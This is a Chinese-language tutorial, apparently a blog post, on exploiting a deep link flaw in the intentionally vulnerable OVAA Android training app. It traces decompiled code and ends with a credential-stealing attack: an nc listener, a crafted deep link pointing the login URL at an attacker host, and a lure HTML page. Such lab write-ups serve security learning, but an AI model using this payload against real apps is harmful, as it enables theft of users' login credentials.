在正式開始漏洞利用之前,我們需要先來了解一下什么是deep link。
Deep Link簡介
Deep Link 是一種允許應用程序通過 URL 直接響應特定頁面或功能的技術。這是通過操作系統和應用程序之間的一種約定來實現的。
Deep Link 結構:
在 Android 中,當安裝一個應用程序時,該應用程序的 manifest 文件(AndroidManifest.xml)會注冊到系統中。這個文件包含了該應用程序的所有組件信息,包括 activities、services、broadcast receivers 等。對于 deep linking,開發者可以在 manifest 文件中定義一個或多個 intent filters,這些 intent filters 定義了哪些 URL 可以啟動哪些 activities。
當用戶點擊一個符合某個應用程序 intent filter 規則的 URL 時,Android 系統就會啟動該應用程序的對應 activity。具體的規則是通過 intent filter 中的 data 元素來定義的,這個元素可以指定 URL 的 scheme、host、path 等信息。如果 URL 符合這些規則,那么就會啟動對應的 activity。
例如,下面這個示例:
<activity android:name="oversecured.ovaa.activities.DeeplinkActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="oversecured" android:host="ovaa"/>
<span class="hljs-name"intent-filter>
<span class="hljs-name"activity>
通過分析上面的示例代碼,我們就可以知道,在安卓系統中任何以"oversecured://ovaa"開頭的URL都會啟動其所對應的oversecured.ovaa.activities.DeeplinkActivity。
總的來說,深度鏈接允許開發者通過 URL 直接打開應用程序的特定部分,這對于用戶體驗和應用程序間的交互是非常有用的。
查找Deep Link
在Android系統中,應用需要在AndroidManifest.xml文件中聲明它們能處理的Deep Link。因此,我們可以通過使用jadx等反編譯工具對目標APK進行反編譯,在反編譯后的AndroidManifest.xml文件中搜索關鍵字:"android:scheme"
一般搜索結果所在的data標簽部分,就包括了Deep Link Url所需的必要組成部分:
- scheme: oversecured,
- host: ovaa
轉換成url就是:oversecured://ovaa
那這個時候,找到了APP可以處理的Deep Link,我們可以先來嘗試一下,在安卓系統中觸發訪問我們找到的這個Deep Link:oversecured://ovaa。
1)在PC上使用python在本地開啟一個簡易的web服務器
python -m http.server
2)在本地服務器根目錄放置一個html頁面文件
html>
<html>
<head>
<meta charset="UTF-8">
<title>Deep Linking Test<span class="hljs-name"title>
<span class="hljs-name"head>
<body>
<h1>Deep Linking Test!<span class="hljs-name"h1>
<p><a href="oversecured://ovaa">點擊這里可以打開指定的Deep Linking<span class="hljs-name"a><span class="hljs-name"p>
<span class="hljs-name"body>
<span class="hljs-name"html>
這個頁面的主要目的就是,當在手機瀏覽器遠程訪問html頁面時,點擊a標簽對應的超鏈接,就可以在安卓系統中觸發對Deep Link的訪問
3)在手機瀏覽器遠程訪問html頁面,點擊a標簽對應的超鏈接
oversecured://ovaa
被訪問時,DeeplinkActivity
將會被瞬間打開然后立即關閉,我們可能只會看到一個閃爍的屏幕,看不到具體的Activity內容。
?通過分析DeeplinkActivity代碼可以知道:直接訪問
oversecured://ovaa
,Android系統將會匹配到DeeplinkActivity
并啟動它,因為目標APP的AndroidManifest.xml中定義的intent-filter聲明了這個Activity可以處理scheme為"oversecured"和host為"ovaa"的URI。在
DeeplinkActivity
的onCreate
方法中,它會獲取到傳入的Intent,檢查Intent的action是否為"android.intent.action.VIEW",然后獲取并處理Intent的data(即URI)。因此,當直接訪問oversecured://ovaa
,這個Activity將會被啟動,并且在onCreate
方法中調用processDeeplink
方法。但是,因為我們直接訪問的URI沒有路徑(path),所以在
processDeeplink
方法中,uri.getPath()
將返回null
,所有的條件分支都不會被執行,所以不會有任何額外的操作。然后,
onCreate
方法會調用finish()
方法來結束這個Activity。所以,從咱們的用戶的視角來看,oversecured://ovaa
被訪問時,DeeplinkActivity
將會被瞬間打開然后立即關閉,用戶可能只會看到一個閃爍的屏幕,看不到具體的Activity內容。?
跟蹤APP對Deep Link的處理
通過分析目標APP的AndroidManifest.xml,我們知道響應oversecured://ovaa的Activity是oversecured.ovaa.activities.DeeplinkActivity,因此我們可以通過反編譯工具查看DeeplinkActivity相關的代碼。
package oversecured.ovaa.activities;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;
import oversecured.ovaa.utils.LoginUtils;
/* loaded from: classes.dex */
public class DeeplinkActivity extends AppCompatActivity {
private static final int URI_GRANT_CODE = 1003;
private LoginUtils loginUtils;
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle savedInstanceState) {
Uri uri;
super.onCreate(savedInstanceState);
this.loginUtils = LoginUtils.getInstance(this);
Intent intent = getIntent();
if (intent != null && "android.intent.action.VIEW".equals(intent.getAction()) && (uri = intent.getData()) != null) {
processDeeplink(uri);
}
finish();
}
private void processDeeplink(Uri uri) {
String url;
String host;
if ("oversecured".equals(uri.getScheme()) && "ovaa".equals(uri.getHost())) {
String path = uri.getPath();
if ("/logout".equals(path)) {
this.loginUtils.logout();
startActivity(new Intent(this, EntranceActivity.class));
} else if ("/login".equals(path)) {
String url2 = uri.getQueryParameter("url");
if (url2 != null) {
this.loginUtils.setLoginUrl(url2);
}
startActivity(new Intent(this, EntranceActivity.class));
} else if ("/grant_uri_permissions".equals(path)) {
Intent i = new Intent("oversecured.ovaa.action.GRANT_PERMISSIONS");
if (getPackageManager().resolveActivity(i, 0) != null) {
startActivityForResult(i, 1003);
}
} else if ("/webview".equals(path) && (url = uri.getQueryParameter("url")) != null && (host = Uri.parse(url).getHost()) != null && host.endsWith("example.com")) {
Intent i2 = new Intent(this, WebViewActivity.class);
i2.putExtra("url", url);
startActivity(i2);
}
}
}
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.fragment.app.FragmentActivity, android.app.Activity
public void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
if (resultCode == -1 && requestCode == 1003) {
setResult(resultCode, data);
}
}
}
通過分析代碼,我們可以知道:
1)當用戶點擊一個匹配intent filter的deep link URL時,Android系統會啟動對應的activity,并通過intent傳遞數據給這個activity,此處也就是DeeplinkActivity。當DeeplinkActivity被打開時,APP首先執行的是onCreate方法,開發者在activity的onCreate()方法中通過getIntent()獲取這個intent,然后通過getData()獲取URL
2)獲取到URL后,APP再調用processDeeplink(uri),接著根據傳入的uri進行一系列處理,主要是通過條件語句針對url中不同的path進行不同的邏輯處理,通過代碼可知APP可識別處理的path是:/logout、/login、/grant_uri_permissions、/webview。
跟蹤APP對/login路徑的處理
比如當我們訪問的deep link url是:oversecured://ovaa/login,代碼String path = uri.getPath();得到的就是/login,此時當processDeeplink被調用時就會執行以下代碼:
else if ("/login".equals(path)) {
String url2 = uri.getQueryParameter("url");
if (url2 != null) {
this.loginUtils.setLoginUrl(url2);
}
startActivity(new Intent(this, EntranceActivity.class));
}
通過代碼String url2 = uri.getQueryParameter("url");可知,APP會嘗試從deep link中去獲取一個名字叫做url的參數值。
比如我們訪問的deep link url是:oversecured://ovaa/login?url=http://www.test.com。
如果我們訪問的deeplink中有url參數,那APP取到url的值又要干嘛呢?我們繼續跟蹤
if (url2 != null) {
this.loginUtils.setLoginUrl(url2);
}
如果APP取到url參數的值,則將取到的url繼續傳給setLoginUrl處理
public void setLoginUrl(String url) {
this.editor.putString(LOGIN_URL_KEY, url).commit();
}
這段代碼的含義就是調用 SharedPreferences.Editor
的 putString
方法,將鍵為 LOGIN_URL_KEY
的字符串值設為 url
,然后調用 commit
方法將這個改動保存到 SharedPreferences 中。這樣,下次應用程序啟動時,這個 URL 仍然可以被獲取到。
到這里,我們就比較清晰了,獲取到deep link傳遞過來的url后,將url的值和LOGIN_URL_KEY這個鍵進行了綁定。就是一個獲取并保存的操作,那我們繼續接著往后面的代碼進行分析:
當if語句執行結束,保存好了url后,APP又啟動了一個新的界面EntranceActivity
startActivity(new Intent(this, EntranceActivity.class));
我們繼續最終分析EntranceActivity界面的代碼
public class EntranceActivity extends AppCompatActivity {
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
if (LoginUtils.getInstance(this).isLoggedIn()) {
startActivity(new Intent("oversecured.ovaa.action.ACTIVITY_MAIN"));
} else {
startActivity(new Intent("oversecured.ovaa.action.LOGIN"));
}
finish();
}
}
這個EntranceActivity的代碼主要是判斷當前是否已登錄或者未登錄,那我們這里繼續追蹤未登錄的代碼進行分析,也就是else代碼塊中的調用:
startActivity(new Intent("oversecured.ovaa.action.LOGIN"));
在AndroidManifiest.xml文件中搜索“oversecured.ovaa.action.LOGIN”,可以看到對應的是oversecured.ovaa.activities.LoginActivity
image-20230519013229270
繼續分析LoginActivity中處理登錄的關鍵函數processLogin:
public void processLogin(String email, String password) {
LoginData loginData = new LoginData(email, password);
Log.d("ovaa", "Processing " + loginData);
LoginService loginService = (LoginService) RetrofitInstance.getInstance().create(LoginService.class);
loginService.login(this.loginUtils.getLoginUrl(), loginData).enqueue(new Callback<Void>() { // from class: oversecured.ovaa.activities.LoginActivity.2
@Override // retrofit2.Callback
public void onResponse(Call<Void> call, Response<Void> response) {
}
@Override // retrofit2.Callback
public void onFailure(Call<Void> call, Throwable t) {
}
});
this.loginUtils.saveCredentials(loginData);
onLoginFinished();
}
這段代碼的主要作用就是處理用戶的登錄,是使用 Retrofit 庫來與服務器進行通信。
loginService.login(this.loginUtils.getLoginUrl(), loginData).enqueue(new Callback
這段代碼主要就是調用 loginService
的 login
方法,傳入登錄 URL 和登錄數據,登錄url是從getLoginUrl函數獲取,而這個函數最終拿到的登錄url就是前面從deeplink中獲取到的url。
public String getLoginUrl() {
String url = this.preferences.getString(LOGIN_URL_KEY, null);
if (TextUtils.isEmpty(url)) {
String url2 = this.context.getString(R.string.login_url);
this.editor.putString(LOGIN_URL_KEY, url2).commit();
return url2;
}
return url;
}
那分析到這里,我們就可以知道,APP在處理oversecured://ovaa/login?url=http://www.test.com 這個deep link的時候,會將url的值作為登錄url,然后將用戶輸入的賬號和密碼作為參數發起請求進行提交,但是此處的url是攻擊者可控的,從而就導致了可竊取用戶的登錄憑證。
憑證截取
1)攻擊者服務器監聽端口,用于接收竊取到的賬號密碼。
nc -lnvp 8889
2)根據分析,構造惡意的deep link
oversecured://ovaa/login?url=http://192.168.10.11:8889
3)攻擊者web服務器放置一個html頁面,用于誘導用戶點擊執行deeplink
html>
<html>
<head>
<meta charset="UTF-8">
<title>Deep Linking Test<span class="hljs-name"title>
<span class="hljs-name"head>
<body>
<h1>Deep Linking Test!<span class="hljs-name"h1>
<p><a href="oversecured://ovaa/login?url=http://192.168.10.11:8889">點擊這里可以打開指定的Deep Linking<span class="hljs-name"a><span class="hljs-name"p>
<span class="hljs-name"body>
<span class="hljs-name"html>
4)最終竊取賬號密碼的效果
-
Android
+關注
關注
12文章
3935瀏覽量
127348 -
Web服務器
+關注
關注
0文章
138瀏覽量
24399 -
URL
+關注
關注
0文章
139瀏覽量
15328 -
python
+關注
關注
56文章
4792瀏覽量
84628
發布評論請先 登錄
相關推薦
評論